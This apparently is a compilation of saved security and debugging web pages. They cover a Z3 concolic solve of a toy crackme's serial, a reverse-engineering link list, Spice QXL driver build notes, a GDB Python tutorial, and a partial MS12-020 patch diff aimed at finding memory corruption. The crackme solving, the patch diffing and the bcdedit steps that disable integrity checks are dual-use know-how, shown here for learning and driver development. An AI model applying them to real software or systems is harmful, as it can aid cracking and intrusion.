    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [READ in 7fff313be551]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #3 = 0x6c
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #4 = #3
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #5 = xor(#4, 0x55)
    [READ in 4007ed]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#5, 0x39)
    [Equation]              cmp(xor(x, 0x55), 0x39)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000039))
    (define-fun x () (_ BitVec 32)
      #x0000006c)
    The good value is 0x6c
    [Z3 Solver]-------------------------------------
    [READ in 7fff313be552]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #6 = 0x69
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #7 = #6
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #8 = xor(#7, 0x55)
    [READ in 4007ee]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#8, 0x3c)
    [Equation]              cmp(xor(x, 0x55), 0x3c)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x0000003c))
    (define-fun x () (_ BitVec 32)
      #x00000069)
    The good value is 0x69
    [Z3 Solver]-------------------------------------
    [READ in 7fff313be553]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #9 = 0x74
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #10 = #9
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #11 = xor(#10, 0x55)
    [READ in 4007ef]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#11, 0x21)
    [Equation]              cmp(xor(x, 0x55), 0x21)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000021))
    (define-fun x () (_ BitVec 32)
      #x00000074)
    The good value is 0x74
    [Z3 Solver]-------------------------------------
    [READ in 7fff313be554]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #12 = 0x00
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #13 = #12
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #14 = xor(#13, 0x55)
    [READ in 4007f0]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#14, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [SPREAD]                7f0d00e1f7db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    elite%
    
    $ **.** /crackme1
    Good boy
    
[/code]

### 4 - Conclusion****

I think that the concolic execution is a great technique and it need to be
investigated and improved**.** I hope that more and more people will look into
it**.** Also, I think it isn't a good idea to do a concolic execution with a
DBI \(Dynamic Binary Instrumentation\) without intermediate language like
Pin**.** Why? Because without IR, you need to implement all instructions set
and their different encodings**.** This is possible but that's really boring
and you can forget an operation..**.** To the theorem solver conclusion, I'm
not a Z3 expert, I do know it's used internally by Microsoft for a lot of
purpose \(I guess they got pretty big equations\), but I have only used it
with toy-equations, so I can't really say**.**

#### 4.1 - My Pin tool****

First of all, my Pin tool is **not** reliable and it works only with the above
examples..**.** I only implemented the instruction necessary for my examples
\(mov, cmp, xor\)**.** So, if you want use it, you need to implement all the
x86 instructions..**.** This Pin tool is just a PoC but it can give you a base
to your project**.** The sources are here .

#### 4**.** 2 - References****

#### 4.3 - Special thanks****

I would like to thanks Axel "0vercl0k" Souchet  for his skills in Z3 and
proofreading**.**

****

# Getting your fill of Reverse Engineering and Malware Analysis | Room362.com
**Created:**| _6/12/2009 10:04:05 PM_  
---|---  
**Updated:**| _6/12/2009 10:04:24 PM_  
**Author:**| __  
**Tags:**| _reversing security people Malware-analysis_  
  

## Getting your fill of Reverse Engineering and Malware Analysis

Matt, from the Exotic Liability forums, posed a suggestion for a episode:
“Getting started \[in\] reverse engineering hardware drivers?“. I thought this
was an interesting topic to attack so, I dug a bit into my RSS feed pile of
goo and compiled this list of links. Hope this helps Matt.

## **Individuals —**

Skywing – http://www.nynaeve.net/  
Egypt – http://0xegypt.blogspot.com/  
Yoni – http://blogs.msdn.com/michael\_howard/  
Raymond Chen – http://blogs.msdn.com/oldnewthing/  
Sia0 – http://blogs.msdn.com/michkap/  
Rob P – http://geekswithblogs.net/robp/Default.aspx  
Quantam – http://qstuff.blogspot.com/  
Phn1x – http://hamsterswheel.com/techblog/  
Halavar Flake – http://addxorrol.blogspot.com/  
Pedram – http://pedram.redhive.com/blog  
Tyler Shields – http://www.donkeyonawaffle.org/  
Wesley Shields – http://www.atarininja.org/  
Peter Wieland – http://blogs.msdn.com/peterwie/  
Michael Howard – http://blogs.msdn.com/michael\_howard/  
Doron Holan – http://blogs.msdn.com/doronh/  
Nico Waisman – http://eticanicomana.blogspot.com/  
Dmitry Vostokov – http://www.dumpanalysis.org/blog/  
Nicolas Sylvain – http://nsylvain.blogspot.com/  
Alex Ionescu – http://www.alex-ionescu.com/  
Mattheiu Suiche – http://www.msuiche.net/  
Larry Osterman – http://blogs.msdn.com/larryosterman/  
Koby Kahane – http://kobyk.wordpress.com/  
Jason Geffner –
http://malwareanalysis.com/communityserver/blogs/geffner/default.aspx  
Ero Carrera – http://blog.dkbza.org/  
Dino Dai Zovi – http://blog.trailofbits.com/  
Ilja – http://blogs.23.nu/ilja/  
Nate Lawson – http://rdist.root.org/  
Mark Russinovich – http://blogs.technet.com/markrussinovich/  
Jose Nazario – http://www.wormblog.com/  
Jonathan Morrison – http://blogs.msdn.com/itgoestoeleven/  
John Robbins – http://www.wintellect.com/cs/blogs/jrobbins/default.aspx  
Ilias Tsigkogiannis – http://blogs.msdn.com/iliast/  
Daniel Reynaud – http://indefinitestudies.org/  
Joanna Rutkowska – http://theinvisiblethings.blogspot.com/  
Matthieu Kaczmarek – http://www.loria.fr/~kaczmare/index.en.htm  
Silvio Cesare – http://silviocesare.wordpress.com/  
Philippe Beaucamps – http://www.loria.fr/~beaucphi/  
Fravia’s saved works \(RIP\) – http://www.woodmann.com/fravia/index.htm

## Groups —

Offensive Computing – http://www.offensivecomputing.net/  
The Cover of Night – http://www.thecoverofnight.com/blog/  
LHS – http://lhs.loria.fr/  
NT Debugging – http://blogs.msdn.com/ntdebugging/  
Debugging Toolbox – http://blogs.msdn.com/debuggingtoolbox/  
Hex Blog – http://www.hexblog.com/  
Engineering for Fun – http://blog.engineeringforfun.com/

## Company —

OpenRCE – http://www.openrce.org/articles/  
DV Labs – http://dvlabs.tippingpoint.com/blog/  
Matasano – http://www.matasano.com/log/  
VeraCode – http://www.veracode.com/blog/  
Trend Micro – http://blog.trendmicro.com/

## Forums —

Reverse Engineering – http://community.reverse-engineering.net/index.php  
OpenRCE – http://www.openrce.org/forums/  
Assembly Forums – http://www.asmcommunity.net/board/

## Sandboxing and Analysis —

Joe Box – http://www.joebox.org/  
Virus Total – http://www.virustotal.com/  
Wepawet – http://wepawet.cs.ucsb.edu/  
F-Secure -http://www.f-secure.com/en\_US/security/security-lab/  
Anubis – http://anubis.iseclab.org/  
Jotti – http://virusscan.jotti.org/en  
Sunbelt CWSandbox –
http://www.sunbeltsecurity.com/Submit.aspx?type=cwsandbox&cs=A41CD150B37359889A553671CBFD2360

## Misc —

Code Breakers Journal – http://www.codebreakers-journal.com/  
The Art of Assembly – http://webster.cs.ucr.edu/AoA/DOS/AoADosIndex.html  
Intel Processor Instruction Set A-M/N-Z
–http://www.intel.com/products/processor/manuals/  
WASM.ru with translation –
http://66.196.80.202/babelfish/translate\_url\_content?lp=ru\_en&url=http://www.wasm.ru&.intl=us

Related posts:

  1. Getting your fill of Security I recently
  2. Runtime Packers – hold the cheese So we are
  3. DEFCON 16: The Tools not the Toools Originally
  4. Social Engineering Challenges Back I got an o

Tags: blogs, Hacking, links, malware, reverse-engineering, security

This entry was posted on Friday, June 12th, 2009 at 1:46 pm and is filed under
Hacking. You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or trackbackfrom your own site.

# WinQXL - Spice

**Created:**| _3/12/2014 9:51:22 PM_  
---|---  
**Updated:**| _3/12/2014 9:51:22 PM_  
**Author:**| __  
**Tags:**| _GPU_  
  

#  How to build the driver

Repository or sources available from the repositories

You need spice-protocol checked out under directory common, and to set an
environment variable \(can be done globally or just in the build shell\):

[code]

    set SPICE_COMMON_DIR=c:\common\spice-protocol
    mkdir c:\common
    cd common
    git clone git://anongit.freedesktop.org/spice/win32/qxl
    rem install the winddk 7600.16385.0
    rem start the checked environment (or the free one) - this is the contents of
    rem the relevant shortcut that winddk creates (for a specific instance, i.e.
    rem x86 WXP checked).
    rem C:\WINDOWS\system32\cmd.exe /k C:\WinDDK\7600.16385.0\bin\setenv.bat C:\WinDDK\7600.16385.0\ chk x86 WXP
    
[/code]

[code]

    cd qxl
    git submodule init
    git submodule update
    build -cZg
    
    
[/code]

#  Detailed Instructions: Build QXL on Windows 7 64 bit

##  Prerequisites

Checkout QXL drivers. The latest include 64-bit although it says "32-bit"

  * git clone git://git.freedesktop.org/git/spice/win32/qxl

You should have 3 directories inside qxl directory: Display, Miniport and
Include.

  * Download Spice Protocol from http://spice-space.org

[code]

    Bunzip2 --> spice-protocol-0.6.4.tar.bz2 --> copy "spice" folder where qxl_dev.h located to  Display, Miniport folders.
         qxl expect headers to be in "spice" folder.
    
[/code]

  * Download latest version of WinDDK that support Windows 7. 

http://msdn.microsoft.com/en-us/windows/hardware/gg487428

After installing the Winddk you will have to create new environment variable:
Variable name: SPICE\_COMMON\_DIR with C:\qxl

http://www.itechtalk.com/thread3595.html

Open a Free Build x64 command prompt from the WinDDK

Type:

set SPICE\_COMMON\_DIR=c:\path\to\spice-protocol

Next:

Start --> All Programs --> Windows Driver Kits --> WDK 7600.16385.1 --> Build
environment \(pick your choice after this step\) Windows 7 -> x64 Free Build
Environment It will open a new DOS prompt for you to start building. \(Make
sure to use the "Free" and not "Checked", the "checked" is debug version\)

##  Build

[code]

    c:\WinDDK\7600.16385.1>cd \
    c:\>cd qxl
    c:\qxl>build -cZg
    
[/code]

It should create 2 new files for QXL driver: qxldd.dll and qxl.sys

The 3rd file: qxl.inf which is originated from QXL driver folder.

##  Signing

See MSDN for more details.

Follow the steps here on how to sign the driver with a test certificate:

1\. MakeCert -r -pe -ss SpiceTestCertStore -n "CN=spice-space.org\(Test\)"
SpiceTestCert.cer

2\. CertMgr /add SpiceTestCert.cer /s /r localMachine root

3\. SignTool sign /v /s SpiceTestCertStore /n spice-space.org\(Test\) /t
http://timestamp.verisign.com/scripts/timestamp.dll qxl.sys qxldd.dll

Before installing the driver on the guest, call:

bcdedit.exe -set TESTSIGNING ON

##  Installing

[code]

    I) Copying files ( assuming [3] below )
    
[/code]

1\. Open elevated command prompt

2\. bcdedit.exe -set loadoptions DDISABLE\_INTEGRITY\_CHECKS

3\. bcdedit.exe -set TESTSIGNING ON

4\. Copy qxldd.dll to c:\windows\system32\

5\. Copy qxl.sys to c:\windows\system32\drivers\

6\. Reboot

[code]

    II) Using Device Manager
    
[/code]

1.Putting the signed drivers & inf file in a local \(temp\) folder.

2\. Install it from Device Manager:

[code]

         -> Display Adapters
         -> QXL/VGA
         -> Right-Click -> Update Driver Software
         -> Browse my computer for driver software (bottom)
         -> Let me pick from a list ... (bottom)
         -> Have Disk... (button)
         -> Browse (button)
         -> path-to-qxl-driver.inf -> OK
         -> Next
         -> Close
         -> Want to reboot ?  Yes
     - must reboot after qxl driver installation. 
    
[/code]

[code]

    III) using pnputil.exe
    
[/code]

pnputil is built in to win7 and newer \(it's in the default path\).

pnputil -i -a qxl.inf

  * if the driver is unsigned you still get the popup red bordered dialog requiring confirmation of installing an unsigned driver. 

[code]

    IV) Using nsis - see http://nsis.sourceforge.net/Driver_installation_and_update
    
[/code]

Also TODO.

#  Troubleshooting Installation

##  Code 52

Windows cannot verify the digital signature for the drivers required for this
device.

The driver certificate chain isn't rooted in a trusted certificate. This is
expected since these drivers have not passed WHQL. You need to answer "yes" to
the big red dialog that says you should not say yes.

##  Generic Advice

\(How is this different then debugging? this is for installation errors\)

Installation can fail for many reasons:

  * signature lacking 
  * newer version driver and you didn't force usage of your driver 

Writing detailed procedure is ToDo, but for information collection purposes
you should look for setupapi logs:

windows xp:

  * c:\Windows\setupapi.log 

windows 7:

  * c:\Windows\inf\setupapi.dev.log 

In both cases it is helpful to:

  * delete / rename the current log file 
  * do the install/update again \(which fails\) 
  * send as attachment / fpaste and put on irc the resulting log file 

#  Debugging

##  Nice to have rant

Unlike the nice virtio drivers we don't have an option to enable logging in
the guest from device properties \(yet\). \(what we do have is the option to
log to the host via an io port, QXL\_IO\_LOG, which is neat too\).

##  qemu options to turn on

###  guestdebug

The driver reads a guestdebug parameter from the rom, that is settable during
the creation of the machine \(we used to have a monitor command but it was
dropped during upstream, yet another todo\). This uses the QXL\_IO\_DEBUG io
out, so each debug print will cause a vmexit \(in practice it's still way
faster then a debugger. probably slower then having a logging mechanism in the
guest like the nice to have rant above\).

[code]

    -global qxl-vga.guestdebug=3
    
[/code]

And for any secondary cards either use:

[code]

    -global qxl.guestdebug=3
    
[/code]

Or set it via the device:

[code]

    -device qxl,guestdebug=3
    
[/code]

You can go up to 12 \(or more, look for DEBUG\_PRINT in the driver\), you get
really a lot of debug information. Interesting values are:

  * 3 - will give you all the highlevel commands \(DrvCopyBits, DrvBitBlt, etc.\) 
  * 6 - will also show QXLGetBitMap 
  * 11 - will show caching of images \(this is a driver cache, not to be confused with the server<->client shared cache\). 

###  cmdlog

This will dump all the commands passing through the ringbuffer on the device
side. It is driver and hence guest agnostic. Defaults to 0. Just two values, 1
to enable, 0 to disable.

[code]

    -global qxl-vga.cmdlog=1
    
[/code]

#  Random notes

Notice that sometimes the driver gets uninstalled when you kill a vm uncleanly
\(not a shutdown\), via the restore mechanisem of windows 7 in the next reboot
\(it returns to a last known working configuration\).

#  Debug Cycle

This is the way I debug the driver right now:

Setup:

  * have a build vm with ddk installed. \(update: winddk works with wine, except for makecert, so all of this can be done from linux with wine\). 
  * have a checkout of the source on my linux development machine \(which also hosts the vms and runs the clients\) 
  * have a samba share with the sources. 
  * have that share visible to the build vm. 

You can install the drivers from a running vm, but since they tend to give you
bluescreens during development, and since you need a reboot to get the new
ones anyway, the following flow works for me:

Update driver work flow

  * host: \(using \$EDITOR\): update driver code 
  * host: update revision of driver \(see \[1\] below\) 
  * buildvm: build vm \(I use \[4\] script\) 
  * while not build successfull: 
    * host: update driver code 
    * buildvm: build driver 
  * host: take down test vm 
  * host: update test vm drivers \(see \[2\] below, and note \[3\]\) 
  * host: start test vm 
  * testvm: test your new code 

\[1\] - update revision scriptlet

[code]

    #!/bin/bash
    TAG=`date +%Y%m%d_%H%M%S`
    for f in miniport/qxl.inf miniport/qxl.rc display/driver.rc; do
        sed -i -e "s/alon\..*/alon.$TAG\"/" $f
    done
    
[/code]

\[2\] - update driver scriptlet

[code]

    #!/bin/bash
    guestfish <<_EOF_
    add /store/images/win7x86_qxl_tests.img
    lcd /store/images
    run
    mount /dev/vda2 /
    upload /store/shared_win/spice_upstream/qxl/install_win7/qxldd.dll /Windows/System32/qxldd.dll
    upload /store/shared_win/spice_upstream/qxl/install_win7/qxl.sys /Windows/System32/drivers/qxl.sys
    checksum md5 /Windows/System32/qxldd.dll
    checksum md5 /Windows/System32/drivers/qxl.sys
    _EOF_
    md5sum /store/shared_win/spice_upstream/qxl/install_win7/qxldd.dll
    md5sum /store/shared_win/spice_upstream/qxl/install_win7/qxl.sys
    
[/code]

\[3\] This assumes you have installed a version of the drivers using the
normal installation procedure first. because that script doesn't do anything
except replace the existing qxldd.dll and qxl.sys, so it doesn't touch the
registry.

\[4\] build script on the build vm \(this one builds the win7 checked
drivers\) \(it goes with \[2\] above which reads the new drivers from that
directory\)

[code]

    cd miniport
    
[/code]

[code]

    build -cZg
    
[/code]

[code]

    cd ../display
    
[/code]

[code]

    build -cZg
    
[/code]

[code]

    cd ../
    
[/code]

[code]

    copy display\objchk_win7_x86\i386\qxldd.dll install_win7
    
[/code]

[code]

    copy miniport\objchk_win7_x86\i386\qxl.sys install_win7
    
[/code]

[code]

    copy miniport\qxl.inf install_win7
    
[/code]

[code]

    copy display\objchk_win7_x86\i386\qxldd.pdb install_win7
    
[/code]

[code]

    copy miniport\objchk_win7_x86\i386\qxl.pdb install_win7
    
[/code]

#  Running WinDBG

setup:

  * target vm: running windows and the driver under development, setup for kernel debug 
  * windbg vm: running any windows version with windbg 

connection via emulated serial port over

  * target vm qemu command line: \(it will open the windbg vm's tcp port, i.e. be a tcp client\) 
    * qemu... -serial tcp:0.0.0.0:4442 
  * To debug boot process start it in suspended mode with a stdio monitor interface \(you could also automate this with qmp, left as an exercise for the reader\) and wait until you connect with windbg before executing 'cont' on the monitor. 

  * windbg vm qemu command line: 
    * qemu ... -chardev socket,id=test,host=localhost,port=4442,server,nowait -monitor stdio -device isa-serial,chardev=test 

##  Kernel Debug setup

This depends on your target os:

###  winxp

  * edit c:\boot.ini, place the following contents: 

[code]

    multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows XP Professional (Debug COM1)" /noexecute=optin /fastdetect /debug /debugport=COM1 /baudrate=115200
    
[/code]

###  Windows 7

as admin, from cmd:

  * bcdedit /debug on 
  * bcdedit /bootdebug on 

#  WDDM debugging

##  Debugging user mode dll

using windbg, attach / run tester

  * .hh xxx 

load symbols

  * symsrv\*symsrv.dll\*c:\symbols\*http://msdl.microsoft.com/download/symbols
  * .reload /f /d 

list loaded modules

restart

  * .restart /f 

stack backtrace

registers

display ascii

unassamble

  * uf CreateDXGIFactory 

breakpoints

  * bp qxlum.dll\!OpenAdapter10 

break on loading of user mode dll:

  * sxe ld:qxlum.dll 

  * step until next call: pc 
  * step over: p 
  * step into: t 
  * step out: gu 

Microsoft has a test suite for drivers, actually passing the tests is
mandatory. Installing the whole test suite takes a lot of time/space but there
is an alternative of running the tests from the command line.

# Python scripts in GDB - Pollux's blog

**Created:**| _12/20/2010 10:06:46 PM_  
---|---  
**Updated:**| _12/20/2010 10:07:07 PM_  
**Author:**| __  
**Tags:**| _Debugging python Linux_  
  

## Python scripts in GDB

By Pierre Chifflier on Monday, December 20 2010, 21:55 - Programming \-
Permalink

  * debug
  * gdb
  * python

Since version 7.0, gdb has gained the ability to execute Python scripts. This
allows to write gdb extensions, commands, or manipulate data in a very easy
way. It can also allow to manipulate graphic data \(by spawning commands in
threads\), change the program, or even write a firewall \(ahem ..\). I'll
assume you're familiar with both gdb commands and basic Python scripts.

The first and very basic test is to check a simple command

[code]

    (gdb) python print "Hello, world !"  
    Hello, world !
    
[/code]

So far so good. Yet, printing hello world won't help us to debug our programs
:\)

The reference documentation can be found here, but does not really help for
really manipulating data. I'll try to give a few examples here.

## The Python script

The first thing to do is to write a script \(we'll call it `gdb-wzdftpd.py`\)
containing the Python commands.

We will define a command to print the Glib's type GList, with nodes and
content \(which is stored using a `void*`\).

To define a new command, we have to create a new class inherited from
`gdb.Command`. This class has two mandatory methods, `__init__` and `invoke`.

Gdb redirects stdout and stderr to its own printing methods.

### \_\_init\_\_

In `__init__`, we will define the command name, the arguments, and the type of
completion that gdb can use \(on files, lines, symbols etc\). Gdb will
automatically use the docstring from the class as the help message for the
command.

[code]

    class PrintGList(gdb.Command):  
        """print Glib Glist: wzd_print_glist list objecttype  
       
    Iterate through the list of nodes in a GList, and display  
    a human-readable form of the objects."""  
        def __init__(self):  
            gdb.Command.__init__(self, "wzd_print_glist", gdb.COMMAND_DATA, gdb.COMPLETE_SYMBOL, True)
    
[/code]

  * Documentation for the `gdb.Command` class: http://sourceware.org/gdb/onlinedocs/gdb/Commands-In-Python.html\#Commands-In-Python

### invoke

The `invoke` function is called when the matching gdb command is called. This
is where things become interesting.

[code]

        def invoke(self, arg, from_tty):
    
[/code]

`arg` is a string containing all arguments given to the command. Instead of
the using `split`, the documentation recommends to use `gdb.string_to_argv`:

[code]

            arg_list = gdb.string_to_argv(arg)  
            if len(arg_list) < 2:  
                print "usage: wzd_print_glist list objecttype"  
                return
    
[/code]

Here, the first argument will be the name of the symbol containing the list,
and the second will be the type of the stored data.

Gdb will not allow you to manipulate objects directly \(you only know the
name\), you have to resolve it to a `gdb.Value` \(to get the content\). There
is a `gdb.lookup_symbol` function, but it does not seem interesting since it
returns a `gdb.Symbol`, which has no method to get the content \!

Let's resolve the list symbol in its value:

[code]

    l = gdb.parse_and_eval(arg_list[0])
    
[/code]

Now that we the list, we have to check that it's indeed a list \(only because
we're good guys here. If we don't, Python will just throw an exception later
..\). The `gdb.Type` object has a `code` member, which is an integer and can
be used for comparisons. To check the type, we will ask gdb to lookup the type
of the `Glist` object, and since we should have a pointer, call the
`pointer()` function of the result. Then we compare the types:

[code]

            if l.type.code != gdb.lookup_type('GList').pointer().code:  
                print "%s is not a GList*" % arg_list[0]  
                return
    
[/code]

And now, the real work can start: printing the list. It's a doubly-linked
list, and we have the first element. We just have to iterate and call another
method to print the nodes:

[code]

            # iterate list and print value  
            while l:  
                self._print_node(l, t)  
                l = l['next']
    
[/code]

When a `gdb.Symbol` points to a C structure, accessing a member \(here
`next`\) is done using the Python operators.

### \_print\_node

This function will print a basic description of the node \(current address,
previous and next\), and the data.

To print the data, we have to cast it to the correct type: `GList` stores it
in a `void *` member, which you can't of course dereference. In the `invoke`
function, we resolve the type \(to do it once and give the object to the
method, instead of resolving it each times\):

[code]

            try:  
                t = gdb.lookup_type(typename)  
            except RuntimeError, e:  
                print "type %s not found" % arg_list[1]  
                return
    
[/code]

There is no clean way to get the error, gdb will throw an exception ...

Now that we have the basic type, we again call the `pointer` method to get the
correct type, and use the `cast` method to convert it. If the conversion can't
be done, you'll get an exception.

The we dereference the result and call the standard Python `print` function on
it. For the moment, it will print exactly the same as if you've called the
`print` command in gdb \(we'll see later how to change that\).

[code]

        def _print_node(self, node, typeobject):  
            print "Node at %s (prev: %s, next %s)" % (node, node['prev'], node['next'],)  
            data = node['data']  
            pdata = data.cast( typeobject.pointer() )  
            data = pdata.dereference()  
            print data
    
[/code]

#### Declaring the command

To finish the script, we just have to create an instance of the class when the
script is loaded. Add at the end of the script:

[code]

    PrintGList()
    
[/code]

## Loading the script

Inside gdb, loading the script is done as usual with the `source` command:

[code]

    (gdb) source gdb-wzdftpd.py
    
[/code]

You can also tell gdb to reload automatically sourced files.

[code]

    (gdb) maint set python auto-load yes
    
[/code]

This is very useful when developing, though practically I had to completely
exit gdb several times to fix weird behaviors of the commands ...

## Testing

In gdb, just call the function with the required arguments:

[code]

    (gdb) help wzd_print_glist  
    print Glib Glist: wzd_print_glist list objecttype  
       
    Iterate through the list of nodes in a GList, and display  
    a human-readable form of the objects.  
    ...  
    (gdb) wzd_print_glist list_server_context 'struct context_server_t'  
    Node at 0x805eb20 (prev: 0x0, next 0x805eb40)  
    {type = 0, io = 0x806fe80, mode = 0, name = 0x8061850 "srv1", h = 0x806ec80, af_type = 2, host = 0x80619a8 "127.0.0.1", port = 12345, ssl = 0x0, data = 0x0}  
    Node at 0x805eb40 (prev: 0x805eb20, next 0x805eb50)  
    {type = 0, io = 0x806ff98, mode = 1, name = 0x8061b08 "srv2", h = 0x806ec80, af_type = 2, host = 0x8061bc8 "*", port = 12346, ssl = 0x80700a0, data = 0x0}  
    Node at 0x805eb50 (prev: 0x805eb40, next 0x0)  
    {type = 0, io = 0x8080438, mode = 0, name = 0x807ec90 "srv3", h = 0x806ec80, af_type = 10, host = 0x8061610 "::1", port = 12347, ssl = 0x0, data = 0x0}
    
[/code]

## Pretty print of the structure

In the precedent example, the structure is pretty simple. When you have many
members, embedded structures or unions, pretty-printing the structure will be
a nice improvement. Pretty-printing with gdb works in two steps:

  * define a class with a `to_string` method, quite similar to the `__repr__` method in Python
  * define a function to match the symbol types to match, and return the above class

#### Printing class

  * In the init function, we store a reference on the value to print.
  * In the `to_string` function, we simply get the values and format them

[code]

    port = self.val['port']  
    ret = " [%8s] %4s %16s %5d %4s" % (self.val['name'].string(), af_type, self.val['host'].string(), port, mode,)  
    return ret
    
[/code]

#### Lookup function

The lookup function should look at the symbol attributes \(we will use the
type\), and return the Pretty-Printing class if it matches, or `None` to tell
gdb to continue to search.

[code]

    def serverctx_lookup_function (val):  
        lookup_tag = val.type.tag  
        regex = re.compile ("^context_server_t$")  
        if regex.match (lookup_tag):  
            return ServerCtxPrinter (val)  
        return None
    
[/code]

#### Registering the function

The lookup function must be registered in the `pretty_printers` list. When
looking for a pretty-printer, gdb will search in the `Objfile` of the current
program space. If no pretty-printer is found, it will then look in the program
space, and if not found, in the global list.  
I tried to registered in the current `Objfile` \(using the
`gdb.current_objfile()` function\), but it always return `None` so I used the
global namespace ..  
The code should be called once, when loading the file, we append it at the end
of the file.  

[code]

    def register_printers(objfile):  
        gdb.pretty_printers.append(serverctx_lookup_function)  
      
    register_printers( gdb.current_objfile () )
    
[/code]

#### Testing

Print the same list:  

[code]

    (gdb) wzd_print_glist list_server_context 'struct context_server_t'  
    Node at 0x805eb20 (prev: 0x0, next 0x805eb40)  
     [    srv1] IPv4        127.0.0.1 12345       
    Node at 0x805eb40 (prev: 0x805eb20, next 0x805eb50)  
     [    srv2] IPv4                * 12346  TLS  
    Node at 0x805eb50 (prev: 0x805eb40, next 0x0)  
     [    srv3] IPv6              ::1 12347
    
[/code]

## What's next

Using Python scripts in gdb is really helpful, especially because gdb's
internal language does not easily allow to automatize things or make complex
manipulations. In this example, we only add a pretty-print function and add a
way to iterate a container.

Using scripts, we can create a library of helper functions to print the status
of a complex program, run checks on the state of the program etc.

## References

  * GDB Python API: http://sourceware.org/gdb/onlinedocs/gdb/Python-API.html
  * Python-GDB tutorial: http://sourceware.org/gdb/wiki/PythonGdbTutorial
  * Debugging with GDB: User Defined Commands in Python: http://www.cinsk.org/wiki/Debugging\_with\_GDB:\_User\_Defined\_Commands\_in\_Python
  * Source file of the example is attached

# catchconv / FrontPage

**Created:**| _8/8/2009 9:56:05 AM_  
---|---  
**Updated:**| _8/8/2009 9:56:11 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# FrontPage

Page historylast edited by dmolnar@... 10 mos ago

Targets for EC2 appliance

Getting Started

Getting Started - Premade VM

Project List

# BinaryNinjas | Reversing and stuff…
**Created:**| _3/15/2012 3:18:33 PM_  
---|---  
**Updated:**| _3/15/2012 2:19:10 PM_  
**Author:**| __  
**Tags:**| _reversing kernel windows environment_  
  

# MS12-020 BinaryDiff

Posted on

March 13, 2012

7

Updates will roll in slowly as I get time…

The patch, MS12-020, supersedes MS11-065 on Windows XP and Server 2k3. That
makes things nice and tidy for anyone looking at reversing the patch. We can
look at the updated files here

We’re interested in the Windows XP x86 based binary:

Rdpwd.sys| 5.1.2600.6187  
---|---  
The files are located in C:\Windows\System32\drivers for both Windows XP and
Server 2003. When Diffing make sure you’re using the most recent binary prior
to the patch, in this case its MS11-065.

matched functions: 8

\[.\]  
000257f0 FastMoveEncoderWindows\(tagRDP\_Compress\_SendConte -  
00025800 FastMoveEncoderWindows\(tagRDP\_Compress\_SendConte  
\[.\]  
00025910 AddNodesToHash\(tagRDP\_Compress\_SendContext \*,uch -  
00025920 AddNodesToHash\(tagRDP\_Compress\_SendContext \*,uch  
\[.\]  
00025960 FindBestMatch\(tagRDP\_Compress\_SendContext \*,usho -  
00025970 FindBestMatch\(tagRDP\_Compress\_SendContext \*,usho  
\[.\]  
00025ae0 RDPCompressNCrush\(ulong,uchar \*,uchar \*,ulong \*, -  
00025af0 RDPCompressNCrush\(ulong,uchar \*,uchar \*,ulong \*,

\[.\]  
000261e0 RDPCompress\_InitSendContextNCrush\(void \*,ulong,u -  
000261f0 RDPCompress\_InitSendContextNCrush\(void \*,ulong,u  
\[\*\]  
000151b0 NM\_Disconnect\(x\) -

000151b0 NM\_Disconnect\(x\)  
\[\*\]  
000156cc NMAbortConnect\(x\) -  
000156d2 NMAbortConnect\(x\)  
\[\*\]  
0002b5d0 MCSChannelJoinRequest\(x,x,x,x\) -  
0002b5e0 MCSChannelJoinRequest\(x,x,x,x\)  
————————————————————-  
unmatched functions1: 0  
————————————————————-  
unmatched functions2: 0  
————————————————————-  
changed functions: 2  
\[.\]  
0002cb30 HandleAttachUserReq\(x,x,x,x\) – \[.\]  
0002cb44 HandleAttachUserReq\(x,x,x,x\)  
\[.\]  
00020010 sub\_20010 -  
00020010 nullsub\_1  
————————————————————-  
————————————————————-

<img src='http://blog.binaryninjas.org/wp-content/uploads/2012/03/ms12-20.png'
width='1044' height='815' alt='alt' />

So the import change above, not in the red box actually, is the call to
ExFreePoolWithTag. It seems this missing free would allow a remote
unauthenticated user to consume resources. So, this is the patch for
CVE-2012-0152 …..boooorrrring.

We want memory corruption\! I’m diggin through the rest of the changes… they
